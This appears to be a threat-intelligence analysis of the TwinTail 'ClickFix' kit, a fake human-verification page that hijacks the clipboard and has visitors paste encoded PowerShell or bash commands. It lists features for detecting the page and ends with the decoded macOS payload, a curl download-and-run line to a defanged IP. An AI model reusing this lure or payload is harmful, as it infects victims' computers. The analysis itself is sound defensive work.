TwinTail ClickFix kit

A complete lure in one document

TwinTail is a self-contained verification page. It opens on "Checking if you are human", invents a 16-character Ray ID and combines a reCAPTCHA-style verification number with a Cloudflare-style footer. The page's JavaScript, instructions and commands are all in the HTML.

The first script checks the user agent. Windows gets one command and one set of terminal instructions; macOS gets another. Other platforms see a message that manual verification requires a Windows or Mac computer.

Copies kept the same lure code and commands; only the surrounding analytics token changed. Another copy used the same template with replaceable command slots.

The checkbox fills the clipboard

The page waits 1.5 seconds before showing its verification box. Two seconds later it replaces the loading state with the fake challenge. The next steps depend on the build:

1. The visitor clicks the checkbox. A hidden textarea receives the platform's command, selects it and calls document.execCommand("copy").
2. The box expands to show platform-specific paste instructions.
3. Windows visitors are told to open Terminal with Win+X in the encoded build. The configurable build uses Win+R instead.
4. Mac visitors are told to open Terminal through Spotlight, paste and press Return.

TwinTail also intercepts every copy event on the document and replaces the copied text with its command. Selecting and copying any visible words from the page produces the same clipboard value.

The two command branches

The Windows value starts powershell -w 1 -e followed by UTF-16LE Base64. Decoded, it tries BITS first and Invoke-WebRequest second, writes sys.ps1 in the temporary directory, reads it into PowerShell and removes the file.

The macOS value is another Base64 string piped through base64 -d into bash. Its decoded shell text downloads a file to /tmp/unix001, makes it executable and starts it in the background.

The configurable copy keeps short Win, Mac and Other values in the same command object.

What we see

Month	New sites
September	1
October	0
November so far	0

Checking a page

Search the HTML for these features together:

• a command object with Win, Mac and Other keys
• winHtml, macHtml and a user-agent branch for Windows and Macintosh
• the fixed verification ID 146820 beside a generated 16-character Ray ID
• a hidden textarea passed to document.execCommand("copy")
• a document-level copy listener that writes text/plain clipboard data

For the encoded build, decode both Base64 arguments offline. The page itself contains the complete Windows and macOS commands.

clear
echo "Loading... Please Wait"
curl -s hxxp://86[.]54[.]25[.]213/d/unix32294578 > /tmp/unix001
chmod +x /tmp/unix001
/tmp/unix001 > /dev/null 2>&1 & disown